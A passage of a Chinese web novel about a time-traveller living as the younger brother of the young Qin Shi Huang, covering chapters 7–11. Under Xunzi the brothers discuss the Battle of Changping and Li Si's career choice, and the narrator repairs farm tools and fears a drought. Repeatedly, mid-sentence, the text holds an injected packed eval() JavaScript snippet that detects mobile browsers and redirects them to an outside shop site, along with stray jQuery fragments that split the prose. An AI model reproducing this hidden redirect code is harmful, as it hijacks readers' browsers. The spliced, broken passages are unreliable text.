《穿成秦始皇弟弟那些年》
7. 第 7 章
赵壤:“我认为这件事的确是王上和赵括的错,赵括错在轻敌冒进,中了秦军的圈套,把大军带入绝境,王上则错在任用赵括。”
他道:“我听说在长平之战以前,赵括的名声都来自于其马服子的身份,以及与人论兵从无败绩,其实并没有上过战场?”
荀子颔首。
赵壤一摊手:“傻子都知道人是需要锻炼的,王上居然敢让一个生瓜蛋子直接领几十万大军,真不知道他怎么想的!”
他语气阴阳怪气,嘲讽意味十足,惹得韩非抬头看了好几回。
——这里可是赵国的地盘,赵壤说这话,真不怕传到赵王耳朵里去吗?
嬴政淡淡瞥来一眼,赵壤默默闭上了嘴巴。
荀子含笑看这兄弟二人的互动,继续追问:“如此说来,你认为赵括空有其名,赵王则昏聩无能吗?”
“那倒也不是。我听说赵军被秦军围困四十多天,粮草断绝,已经到了人吃人的地步,军队还是井然有序,等到赵括死后,赵军便斗志全无,缴械投降了,可见赵括治军的本事还是不错的。”
说到这个,赵壤觉得赵括有点冤枉,从他第一次领兵打仗的成果来看,真算不上“纸上谈兵”。
当然,赵壤没有替赵括洗白的意思,更不会有“赵括是被埋没的军神”这种离谱的想法,只是有点可惜,要是赵王不发癫,让赵括从低级将领开始慢慢历练,或许也会是一员不错的猛将。
至于赵王是否昏聩……
赵壤轻哼一声:“他应该也有他的苦衷吧。”
嬴政:“因为缺粮。”
荀子赞许地点点头:“正是如此。赵国土地并不算广袤,且西部是连绵的太行山脉、北部则是适宜放牧的高原,这些固然为赵国提供了有利的军事条件,同时也限制了农业的发展。所以适宜耕种的土地只有东部的一小片平原。”
“另外,赵国重军事而轻农业,靠工商业攫取财富供养军队,长久下来,经济越来越繁荣,但农业发展却停滞不前。”
赵壤明白了:“赵国粮食产量不高,平时还没什么,到打仗的时候容易抓瞎。”
“就是这个意思。”荀子道,“廉颇将军坚守不出的策略固然安稳,但赵国却经不起长时间消耗,选择速战速决也是无奈之举。”
当然,无论如何赵括都不是好人选。
赵壤先是恍然,随后又疑惑:“可是长平距离赵国更近,秦国的补给线比较长,就算撑不住,也该是秦国先撑不住吧?”
荀子摇摇头,指着地图道:“长平看似距离赵国更近,但中间隔着太行山脉,只有壶关道天险可以通行。而秦国的军粮并非来自咸阳,而是来自河东与南阳。”
河东与南阳距离长平就很近了。
赵壤:“原是如此,难怪秦国要先取南阳和野王,原来除了谋求上党,还有这个意图。如此说来,赵国无论如何都不可嬴了?”
荀子摇头:“其实是有机会的,长平之战那年,秦国发生了严重的饥荒,如果赵王没有换下廉颇,或许赵国就嬴了。”
当然,赵胜在劝赵王接受上党的时候,肯定没有预料到这场饥荒,但按赵国彼时的实力,原本也不该输得这么惨烈。
只能说战争瞬息万变,天时、地利、人和哪一个出了问题,都可能影响最终的成败。
如果赵国没有沉溺于兵强马壮的自得之中,沉下心来好好发展农业,或许便不会被粮草掣肘;如果赵王不是急于竖立自己的权威、扶持自己的心腹,选一个有经验的将领带兵,赵国也不会一败涂地。
地利、人和都不在赵国,即便天命给了一个机会,他们也把握不住。
荀子叹息一声:“若有机会,劝劝平原君吧,错原不在他。”
话是这么说,其实荀子也知道没用。这些道理赵胜哪里不明白?要是能想开,也不会自苦至今了。
他转移了话题:“今日就由韩非为你们授业吧。”
如荀子这样的大佬,当然不会像一般的先生一样,逐字逐句教书上的东西,都由三个年长的学生代劳,他则负责答疑解惑及偶尔考校。
一般情况下,李斯教赵壤和嬴政多一些,浮丘伯偶尔也会,韩非则比较少。
因为他口吃。
荀子还是比较体贴学生的。
不过今天李斯和浮丘伯都忙着,只能由韩非顶上了。
赵壤冲韩非一揖,笑嘻嘻道:“那就劳烦韩师兄了。”
韩非:“……”
不情不愿.jpg
走之前赵壤又问荀子:“我听说秦国跟赵国不同,非常重视农耕,就连什么时候下种、什么时候除虫都有规定,如果种地种得好,还有机会成为吏。先生去过秦国,这些是真的吗?”
荀子看看不动声色,但显然在认真听的嬴政,含笑道:“的确如此。秦国不仅重视农耕,而且法纪森严,官吏恪尽职守、百姓淳朴务实,国内风气与赵国大为不同。你们若想知道,改日我详细与你们说。”
赵壤立刻点头:“想知道!”
*
为了不打扰荀子著书,三人去西室授业。
韩非:“你…你们学…学…学到……”
赵壤调笑道:“韩师兄的脑子和舌头又打架了。”
嬴政也露出笑容:“韩师兄脑子太快,舌头跟不上,自然要打架。”
韩非:“……”
他看向嬴政:“你…你……”
赵壤:“阿兄,韩师兄说你牙漏风
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786933|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
嬴政:“……”
嬴政居高临下看他:“你什么时候能不仰头跟我说话?”
赵壤:“……”
三人完成一轮互相伤害,这才开始授业。
或许正是说话慢的缘故,韩非很珍惜说出来的每一个字,因此语言精准简练,往往一针见血,授业速度竟然并没有慢到哪里去。
结束的时候,赵壤感慨道:“韩师兄虽然‘期期艾艾’,但真是一字千金啊!”
正好浮丘伯也从外面进来,笑着接话:“多亏韩师弟‘期期艾艾’,否则就不能叫他给你们授业了,怕你们两个跟不上。”
韩非:“……”
他:“你…你…”
赵壤:“浮丘师兄,韩师兄问你砍柴砍出什么道理啦?”
韩非点头。
浮丘伯惊讶:“你怎么知道他要说什么?”
“我不知道啊。”赵壤摊手,“是我想问,而且我知道韩师兄一定也想知道。”
韩非再次点头。
浮丘伯哼笑一声,一点也不恼,淡定道:“我砍出来的道理,能平白告诉你们吗?”
赵壤:“……”
服了!这人脸皮比他厚。
浮丘伯用布巾擦额头的汗,随口问:“我瞧你们刚才在正堂待了好一会儿,和先生说什么了?”
“说起长平之战的事。”赵壤把刚才的对话大致说了一下。
浮丘伯听着听着,露出古怪的笑意。
赵壤:“……你干什么?”
浮丘伯目光在赵壤、嬴政和韩非身上转了一圈,笑眯眯道:“长平之战涉及韩、赵、秦,你们三人正好分属三国,真是缘分啊!”
孽缘!
三人:“……”
韩非有点不自在,只因在这场战争里,韩国表现得最差,又弱、又没志气,还祸水东引,让身为韩国公子的他颇为尴尬。
但他也不会看着浮丘伯得意,轻哼一声道:“你们齐…齐国不也…参与了吗?”
赵壤:“是啊是啊,齐国不是拒绝借粮食给赵国吗,怎么不算是给秦国的胜利添砖加瓦呢?”
这下尴尬的成了浮丘伯。
如今秦国势大,六国为了不被一一攻破,必须联合抗秦,这是诸国心照不宣的共识。
但是齐国却与秦国结盟,在关键时候拒绝借粮给赵,致使赵国元气大伤,实在短视,且懦弱至极,让身为齐国人浮丘伯很抬不起头。
他揽住嬴政的脖子,叹息道:“他们韩、赵结盟,咱们齐、秦哥俩玩儿吧。”
嬴政打掉他的手:“我跟你们齐国不是兄弟。”
赵壤哈哈大笑:“是小弟才对!”
浮丘伯:“……”
8. 第 8 章
正说得热闹,李斯提着个大食盒从外头进来,笑问:“你们说什么呢?”
“李师兄”。
“李师弟”。
众人打招呼。
李斯虽然不是师兄弟里排名最靠前的,但他年纪较大,且行事稳重,因此颇有威信,大家对他也有几分敬重。
至少赵壤第一次见到他的时候,很难将他与印象里那个狡猾狠辣的大秦丞相联系在一起。
他看起来太正派了,私底下话不多,有点沉默寡言。
他在屋里看了一圈,见韩非脸微微发红,挑眉问:“你们又在欺负韩师弟?”
浮丘伯不太优雅地翻了个白眼:“谁能欺负得了他啊?舌头慢,嘴忒毒!李师弟还是少操心吧。”
这又是一个令赵壤惊讶的点:李斯和韩非在荀子门下时关系并不差,甚至李斯对韩非颇为照顾。
李斯提提手里的食盒:“都过来用饭吧。”
浮丘伯第一个响应:“不知道你家今天准备了什么好吃的?”
这话是对嬴政说的,因为学堂离得近,中午这顿饭一般由他们家送来。
嬴政淡淡道:“饭菜都由厨妇决定。”
意思是他也不知道。
浮丘伯再次揽住他肩膀,一边往正堂走一边道:“你和韩师弟一样惜字如金,不就是掉了几个牙吗,咱们师兄弟又不会笑话你。”
“……”嬴政再次拍掉浮丘伯的手,“师兄庄重些吧,被人看见又要说你不知礼仪。”
“这里又没有别人,师弟别太严肃了,你不累吗?”
另一边,李斯对赵壤道:“方才你家仆臣来送饭,还带了样东西给你。”
他从怀里掏出一枚竹简给赵壤,赵壤接过来一看,眼睛微微瞪圆:“赵嘉邀请我赴宴?”
前面正在拌嘴的两人声音一停,齐齐回头看过来。
赵壤把竹简递给他们,抬头看看太阳,被正午的阳光刺得收回视线,转头问嬴政:“今天早上太阳是从东边升起来的吧?”
嬴政懒得回答这个愚蠢的问题,把竹简看了一遍,没发现什么问题,就是赵嘉打算请三五好友去山间别院避暑,很正常的邀请。
唯一的问题是:赵壤他是赵嘉的好友吗?
浮丘伯皱眉:“他向来不喜你,今天怎么了?你们俩发生什么事了?”
赵壤茫然摇头:“没有啊,这两个月就昨天见了一回,我还教了他一点做人的道理,他躲着我还来不及呢。”
韩非:“报…报复。”
浮丘伯:“是了,赵嘉心高气傲,你一向不给他脸面,他必定心存怨言。在邯郸不能对你做什么,但若到了山中别院,身边又都是他的好友,能使的花样就多了。”
“不至如此。”嬴政道,“赵嘉虽傲慢了些,但行事还算坦荡,应不至于如此。”
“还是小心为上。”李斯道,“听说公孙嘉的仆臣还在赵家等消息,不若把他叫来问一问,许能看出些许端倪。”
“不用了。”赵壤摇摇头,“不管赵嘉什么意思,我都不去。”
他把竹简递给院子里的仆臣:“去还给他,叫打发走吧。”
浮丘伯竖起一根大拇指,这还是跟赵壤学的。
赵嘉毕竟是赵偃嫡长子,很可能就是下下任赵王,赵壤连他的面子也不给,属实头很铁。
当然了,赵壤一向如此。
他道:“我也想起一件事,刚才里魁找我,说有几架农具坏了,想请你去修一修。”
赵壤点点头:“我吃完饭就去。”
浮丘伯:“也不用着急,现下他们都在屋里休息呢。”
说着话,众人进了正堂。韩非替荀子收拾好案几,赵壤和嬴政给众人摆上餐具,李斯和浮丘伯则把饭菜拿出来,放到每个人的案几上。
今天的午饭是凉面,用精细白面擀成的面条煮熟,放入冰水中浸凉,浇上用酸梅酱、肉醢和香草等佐料调成的酱汁,上面再铺对半切开的鸡卵、几片渍肉,再加几把青菜,便是简单却丰盛的一餐,让人看着就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786934|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想流口水。
此外还有一壶梅浆,因为食盒里放着冰的缘故,拿出来时还在冒着凉气。
浮丘伯咽下一大口凉面,享受地眯起眼睛:“还是你们家会吃,这天儿用一碗凉面,真舒坦!”
李斯:“你要是喜欢,下午还叫灶房给你做。”
浮丘伯赶紧摇头:“咱们家庖人做出来的不一样。”
他撇撇嘴,对自家庖人有些微嫌弃。
明明也是跟赵家厨妇学习过的,不知怎么就是做不出一样的味道,而且差别颇大。
赵壤猜测这庖人本来就手艺一般,只是从前大家都吃得糙,显不出他来,如今要做精细的饭食就不行了。
但抱怨归抱怨,浮丘伯他们也不会换了这庖人,毕竟是跟着他们一路周游各国的,好多年的感情,只能凑和着用了。
赵壤嘻嘻笑道:“师兄想吃就来我家,只要砍点柴就行。”
韩非:“他…一举两得。”
浮丘伯:“……”
浮丘伯哼笑一声:“我也就罢了,韩师弟若回韩国,只怕再也吃不到赵师弟家的饭了。”
赵壤抬起头:“韩师兄要走?”
韩非摇头:“没。”
赵壤松了一口气,但也只是一点点。
因为他心里知道,韩非迟早要回韩国去,且不会等太久。
韩非和李斯不同,李斯虽然是楚国人,但只是平民,他追求的是权利和地位 ,至于给他这些东西的是哪个国家,对李斯来说并不重要。
韩非却是韩国的公子,他渴望能挽救岌岌可危的韩国。
历史上韩非就为韩国呕心沥血,哪怕被韩王“送”给了秦始皇,也不肯背弃自己的国家。赵壤认识他这几年,也看到了他对韩国的在意。
但赵壤还是抱着一丝幻想,希望韩非能在与嬴政的相处中发生一些改变,如果这对be君臣能双向奔赴,就再好不过了。
赵壤又看向嬴政未来的左右手:“李师兄想好去哪个国家了吗?”
9. 第 9 章
李斯咽下一口渍肉,淡淡道:“我尚未结束学业,暂且不急。”
话是这么说,但是赵壤知道,李斯早就开始打算了,前两年他还积极与赵国上层接触过,只是似乎并不顺利,这两年再没听他提过,往邯郸去的也少了。
浮丘伯:“李师弟想要一展抱负,需得好好挑选报效的主公。”
韩非:“韩……”
浮丘伯:“排除韩与燕。”
李斯当初观鼠有感,认为茅厕里的老鼠不如粮仓里的老鼠肥硕,是因为它们所属的平台不同,于是毅然辞去楚国小吏之职,拜师荀子,寻找更大的机会。
既然如此,他怎么可能选择弱小的韩与燕?
韩非:“借径入…入霄,以…小博…博…博大!”
这话也有几分道理,所谓“宁为鸡口,无为牛后”,李斯此前籍籍无名,去大国未必能有出头机会,去小国却有可能手掌大权,风光无限。
浮丘伯再次摇头:“那也得小国国君有识人用人之能才行啊!”
韩非沉默了,韩王显然没有这样的本事。
剩下的几国里,齐国依附于秦国,偏安一隅,耽于享乐;
魏国曾经强盛,但已经日薄西山,恰如一艘正在沉没的巨轮;
楚国倒是强盛,但政治腐败、内斗严重,且楚国贵族势力强大,昭、屈、景三户把持朝政,李斯身为布衣,如果回到楚国,很难进入权利中心,很可能还是做个小官吏,还是那个“厕中鼠”。
浮丘伯:“如此算来,秦国是最合适李师弟的。”
赵壤和嬴政也抬起头来看向李斯。
李斯没说话。
秦国的强大毋庸置疑,更重要的是它足够开放,有才能之人,不分出身、国家,都有机会得到重用,很适合李斯这样的人。
但秦国也有不可忽视的缺点:
其一,秦国先祖原本不过是给周王室养马的,因为护送周平王东迁洛邑有功才被封为诸侯。但由于地处西陲,长期与西戎杂居、通婚、交战,在“血脉高贵”、“文明中心”的山东六国看来,乃是戎狄,不懂礼仪,不开化。
赵壤总结:被落魄老牌贵族看不起的暴发户。
恰巧这时候的士人特别好面儿,“士可杀不可辱”嘛。但凡有别的选择,他们都不愿意去秦国。
纵观那些在秦国卓有成就的他国人,很多都是在走投无路的情况下才入秦的。
譬如商鞅,他原是卫国人,但是在卫国得不到重用,转而投魏,魏王也不把他放在眼里,商鞅这才应昭入秦;
张仪原是魏国人,曾在楚国和赵国游历,均不得重用,愤而入秦;
范雎也是魏国人,但他比张仪更惨一些,不仅没有得到重用,还差点被人污蔑打死。
李斯虽然爱富贵,但也不是不要名声。
其二,秦国重法家轻仁政,重功利轻礼义,与儒家理念相冲突。
且儒家有不入秦的传统,前些年荀子受邀入秦,只是推广了一下自己的理念,尚且被传统儒家猛烈抨击,如果李斯入秦为官,必将掀起腥风血雨。
赵壤看向一直含笑不语的荀子,问:“先生以为如何?”
荀子道:“秦国以严刑峻法治理国家,固然强盛,然而缺乏王道,只怕难以为继。”
王道和霸道是两个相对的治国理念,“王道”的根基是仁义与礼治,以德服人,使天下归心;而“霸道”则是强权统治,依靠国家实力和威慑力让诸侯臣服。
荀子推崇的是王道,但在这个礼乐崩坏、实力为主的末法时代,各国大兴霸道,王道无跻身之地。
这就是他的安利一直卖不出去的原因。
不能说各国国君短视,毕竟理想很丰满,现实很骨感,如果没有强大的实力,国家立时就要分崩离析,而王道需要漫长的时间才能见效,并不适合这个风云变幻的时代。
赵壤:“这么说先生不看好秦国?”
“非也。”荀子摇头,“七国中秦国最为强盛,日后若天下一统,亦非秦国莫属。然严刑峻法必生怨怼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786935|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,怨怼必生祸患,这也是指日可待的事情啊!”
赵壤沉默了,只因荀子的话太准确,几乎完全契合了历史走向。
他看嬴政一眼,见他也听得认真,又问:“那依先生看来,秦国该如何破此局?”
荀子:“唯有加入王道,由霸道入王道,王道与霸道并行。”
这话他在秦国也说过,“兼是数具者而尽有之,然而县之以王者之功名,则倜倜然其不及远矣!是何也?则其殆无儒邪!①”
秦国有种种好处,但还不够!
原因就是秦国“无儒”。
这里的“无儒”指的并非儒生,正是王道精神。
秦王并没有采纳他的意见,这也无可厚非,比起山东六国,秦国才是饯行霸道最彻底,同时受益最多的人,他们当然不能刨自己的根基。
只可惜嬴政继位后,同样没有施行王道,甚至“焚诗书”,控制思想,持续地将霸道推向极致。
赵壤相信嬴政这么做有他的理由,但无疑给秦国的灭亡埋下了祸根,毕竟不是每一任皇帝都有嬴政那么强的威信,可以一己之力压服天下人。
赵壤也相信,嬴政应该是有打算的,所以他纵容扶苏亲近儒家。
可惜他大概没想到自己会猝然崩逝;更没想到赵高和李斯会矫诏杀害扶苏,扶持胡亥上位;更更不会想到,胡亥是个愚蠢狠毒的废物,除了残害手足、凌虐百姓之外什么都不会,朝政全由赵高把持。
否则秦朝或许还有续命的机会。
这一次有荀子教导,不知道嬴政会不会有所变化?
*
众人吃完饭,荀子便去午睡了。
是的,这也是被赵壤传染的习惯。
不过赵壤今天没功夫午睡,他还得给村民修农具,估摸着村民该下地了,他就准备去田边。浮丘伯也跟着一起去:“我跟你学一学,下次再找来,我就给他们修了。”
赵壤摸摸自己的小下巴:“为什么他们修东西要找你,而不是直接找我呢?”
10.第 10 章
赵壤绕着犁看了一圈,伸手敲一敲、摸一摸,心里便大概有数了。
他问抬犁来的妇人:“你们在耕地时是不是觉得犁身摇摆不定,有时候深、有时候浅?”
“是是是。”
两个妇人连连点头,期盼地看着他。
赵壤:“问题不大,就是用的时间长了,木楔磨损,换一个就好了。”
里魁:“那得去城里找木匠打。????”
小村落里没有木匠,这也是他们自己没办法修农具的原因。
赵壤摇摇头:“不用,你们找块木头给我。??”
里魁不明所以,??但还是依言去田边转了一圈,不一会儿就捡回两三根干树枝。
赵壤从里面挑出一根,又冲嬴政伸出手:“阿兄,你的刀借我用一下。”
嬴政只迟疑一瞬,便解下腰间短刀递给赵壤。
嬴政因为从小的经历,一直有随身佩刀的习惯。现在这把刀是他们生活好起来后,特意找大师打造的,吹毛断发,用来削木头也不成问题。
众人只见赵壤连尺寸也不量一下,一手树枝一手短刀,没几下就削出一个木楔来。
沾上桐油,用石头敲到犁上,竟是严丝合缝。
众人惊讶地看着他,里魁嘴巴都合不拢了:“郎君居然还有木匠手艺!”
甚至比一般的木匠还要好。反正里魁见过的木匠里,没有一个不用量尺寸的。
“熟能生巧嘛。”赵壤打哈哈。
上辈子觉得不用测量就能画出准确草图、做出精准零部件的神人特别帅,特意练了一段时间,后来惊觉自己纯属吃饱了撑的,遂放弃。
但练习还是有效果的,虽然不能徒手做精密的器械,做这种简单的配件却没问题。
里魁只以为他说的是平时常在家做各种小东西,也没有多问。指着犁对那两个妇人道:“你们试试。”
两个妇人这才回神,重新把犁抬回田里,拉起绳索走了几步,黝黑的脸上露出笑容:“好啦!好啦!”
赵壤也不由露出个笑,与里魁转战下一家。
路上里魁一直在夸赵壤,恨不得把他捧到天上去,赵壤从不知道不算善谈的里魁词汇储备量这么丰富。
他道:“这个其实不难的,我可以教给你们。”
里魁脸瞬间爆红,赵壤也不知道自己怎么从他黑黢黢的脸上看到“红”这种颜色的。
他摆摆手、又搓搓手,似乎尴尬又似乎无措,语无伦次道:“不是这个意思,没想叫郎君教我们,这是您的手艺,我没那个意思……”
赵壤含笑打断他:“我知道你没这个意思。但我是真的想教你们。我平时要上课,还有很多其他事,未必每次都能及时过来,你们要是学会了,有什么小问题自己就能修。”
主要是村民似乎不太好意思麻烦他,攒了好几架坏农具才叫他,这多耽误事!
赵壤语气诚恳,说的也确实有道理,里魁自然心动,但还是犹豫不绝。
嬴政:“你无需不安,他不靠这手艺过活。”
赵壤连连点头:“是啊是啊。”
里魁这才下定决心,感激道:“郎君大度,那就劳烦郎君了,我这就找人来。”
“嗯嗯。”赵壤道,“若有那想学的,多找几个也无妨,我一并教了。”
里魁又说了回“郎君大度”,往四周看看,招手叫来一个半大孩子,对他说了两个名字,那孩子撒丫子就跑,不一会儿领回来两个人。
一个是十五六岁的少年,瘦瘦小小,颇有些机灵样。
另一个是个二十四五岁的青年,跛了一条腿,走路一瘸一拐。
赵壤和嬴政的目光不由落在那青年身上。
青年惭愧地低下头。
二十四五岁的男人在赵国并不多见,八年前他们十七八岁,正是年轻力壮的时候,大部分都被征去军营,然后死在那场惨烈的战争里。
剩下的人里,又有一大部分在长平之战后被征去填
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823413|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
补军缺。
当然也有一小部分幸运儿,不过更大的可能是这青年为了逃避被征兵,自残。
乱世里这种情况并不罕见,长平之战后便更普遍了。战场上九死一生,丢命还是残疾,这笔账并不难算。
只是道义上有些说不过去罢了。
里魁叹息一声,替青年解释道:“他没有兄弟姊妹,家中尚有一体弱多病的老母,要是他也走了,他母亲必死无疑。”
原来是这样。
赵壤收回视线,点点头:“那走吧。”
心里还是有点惊讶的,里魁居然没有安排自己家人。
木匠好歹也是一门手艺,就算赵壤不会细细地教,但能学会修犁也是好事。
附近村子已经开始用改良犁,以后只会越来越多,犁坏了就得修,进城找木匠又太麻烦,他们就是最好的选择,多少也能有个进项。
这么好的机会,赵壤以为里魁家里至少会出一个人,虎子是小了点,但是里魁的大孙子也十五六岁了,年纪正好合适。
赵壤做好了心理预期,没想到结果出乎预料。
*
有了两个帮手,接下来赵壤就不用亲自动手了,他只告诉二人怎么做,二人干得极为起劲,一开始还有些笨拙,修了几架之后便越来越熟练了。
赵壤得了空,便打量这片田地。
这是村里最主要的田地,面积颇大。有一小部分已经收割完了,露出褐黄色的土地,还有一部分麦正在收割。
但更大部分种的是粟、黍和菽,莫说成熟,就连抽穗也没有。
赵壤眼尖地注意到,有人提着木桶往地里浇水。
他皱起眉头:“现在就开始挑水浇地了?”
“这段时间不下雨,只能先这么办,等到下雨就好了。”里魁微笑着,并不觉得有什么,往年也都是如此呢。
赵壤却是心中一沉,别人不知道,他却是知道的,至少未来两个月内,邯郸城附近都不会有太多雨水。
11.第 11 章
赵壤蹲在河边有一会儿了。
里魁寸步不离地跟着,只是他腿脚不太好,蹲不下去,找了块光滑的石头坐着。
河边有三三两两的村民,用陶罐汲水抱回自家田里。
陶罐本来就重,装了水之后就更重了,他们一趟一趟地跑,衣服早就被汗水打湿,其中有些老弱妇孺更是履步蹒跚。
最难的是汲水,因为河岸湿滑,距离水面又有一段距离,妇孺伸长胳膊打水时,很容易一头栽到河里去,即便成功打到水,单手提上来也十分吃力。
嬴政看不过去,帮他们汲水去了。
里魁看看又打上一罐水,被村民感激道谢的嬴政,对赵壤感慨道:“令兄看着不好亲近,实则是面冷心热之人啊。”
对嬴政颇为欣赏的样子。
赵壤打了个哈哈,没有接这话,心说你要是知道他身份,不知道还是不是这个态度
里魁看他皱着小眉毛,心事重重的样子,到底没忍住疑惑:“郎君在想什么?”
“在想这条河。”赵壤看着面前的河。
这条河并不算宽,大约二三十尺,深大约十来尺。水流不算快,水质也说不上好。却滋养了附近好几座村庄的上百户人家。
风调雨顺的时候,这条河的水位上下不会相差太多,但现在……
“水位下降了。”赵壤道。
里魁不以为意:“这段时日没下雨,水变浅了也是有的,等到下雨就好了。”
赵壤:“如果一直不下雨呢?”
“郎君怎么这般说?”里魁脸色大变,“难道今年有旱情?”
赵壤无法肯定地答复他,只能含糊道:“有这个可能,今年天气热得比较早,时令也有些异常,这不是干旱的征兆吗?”
“原来郎君是想到了这里。”里魁松了一口气,笑道,“天时异常的确可能有灾,但也不一定,前些年便有这样的情况,最后什么事也没有。今年开年我便占卜过,今年一年都风调雨顺,郎君就放心吧。”
赵壤:“……”
他看看里魁自信的样子,结结实实被噎了一下。顿了顿才道:“多想几分总不会错。”
“郎君说得在理。”里魁收敛神色,想了想道,“咱们靠天吃饭,要是不下雨也没什么法子。只能汲水浇田,再用杂草或者秸秆盖在田里,能多支撑一些时日。”
赵壤恍然,怪不得他看到有人往田里铺杂草和秸秆,原来是给田地穿个防晒衣,为了减少水分流失。
但这还远远不够。
距离上次下雨才半个月,河水水位已经降了。随着时间推移,干旱会越来越严重,河水也会极速减少,未必能供得上这么多田地。
且灌溉需要的水不在少数,没有雨水的情况下,全靠老弱妇孺汲水浇田,工程量简直不敢想象。
赵壤想了想,问:“如果拔菽种黍,你们愿意吗?”
“这……”里魁面露为难之色。
赵壤心里便有数了。
菽就是豆类,生长周期长,对水的需求大,产量也很高。
黍则是黄米,生长周期短、耐寒耐贫瘠,常被用作灾后补救,相应的产量也不高。
眼下干旱只是赵壤的猜测,村民当然不愿意因此放弃产量更高的菽。更何况拔菽种黍需要重新耕种、还要新的粮种,对庶民来说是不小的负担。
是他太想当然了。
赵壤摆摆手:“我只是随便一说,你不用放在心上。”
里魁尴尬笑笑:“郎君不用太过忧心,眼下麦已经收了,各家各户也都种了粟和黍,总会有点收成。”
赵壤点点头,暂且把此事抛到脑后。
眼下最要紧的还是汲水浇田,靠人力取水肯定不是长久之计。
其实要解决这个问题并不难,甚至不用赵壤想,现成的就有一个。
《庄子·天地》中记载了一个故事:孔子的弟子子贡途经汉阴时,见丈人抱瓮取水灌溉,建议他用一种叫“桔槔”的机械。
“凿木为机,后重前轻,挈水若抽,数如泆汤”,可“一日浸百畦,用力甚寡而见功多。”
子贡距今已有两百多年,也就是说至少两百多年前,桔槔便已经出现。据赵壤所知,至少在位于南边的楚国,这种机械已经比较普及,赵国贵族的封地里也在用,民间倒是少有听闻。
桔槔利用的是杠杆原理,结构并不复杂,只要在河边埋一根柱子,其上架一根横杆,横杆的一头挂桶或陶罐,另一头挂石头。
汲水的时候,只要拉动绳索,使桶或陶罐没入水中,松开手后石头的拉力会自动把装满水的桶或陶罐提出来,大幅度节省力气。
平原君府上就有会做桔槔的匠人,赵壤打算请他们来帮忙。
*
他们没有在河边待太久:那边还修着农具呢!
心里大致有数,赵壤就准备回去了,走之前单手握拳放在胸前,对嬴政做了个加油的手势:“阿兄,你好好干!”
嬴政:“……”
既然来一趟,赵壤没打算只修改良犁,其他农具有坏的,他也一并给修了,直到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828974|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半下午才忙完,即便后半程一直在树荫底下,也热得头晕脑胀了。
临走的时候,里魁同样从竹篮里拿出一包荷叶包着的细面给赵壤和嬴政,二人推辞不得,只能暂时收下,打算明日带去学堂,照样叫先生补贴给那些孩子。
到家之后,赵壤先叫来一位仆臣,让他趁着还没有宵禁去平原君府上传话,借个会做桔槔的匠人过来。
然后去正堂给朱姬请安。
朱姬正在用饭。
这时候贵族普遍一日三餐甚至多餐,平民为了节省粮食,才会严格一日两餐,朱姬为了保持身段,也如平民一般两餐,眼下正是她的第二顿饭。
她吃得非常优雅,细嚼慢咽,一点也没有对食物的急迫。
也是!
赵壤看着桌上琳琅满目却清汤寡水的菜品,心说天天吃这些,确实很难有什么胃口。
他双手合抱于胸前,身体微微前倾,行了一个拱手礼:“阿母安好?”
嬴政也是一样。
“安好。”朱姬脸上满是笑意,但嘴角扬起的弧度却很勉强,显示她内心并不是很愉悦。
她用罗帕擦拭嘴角,假装无意地问:“听说你们又去管农具的事了?”
赵壤点头:“是王叔给我们的功课。”
朱姬准备好的说辞一下噎在了嗓子眼,顿了顿才不甘心地反问:“我怎么听说是一个孩子去学堂请你的?”
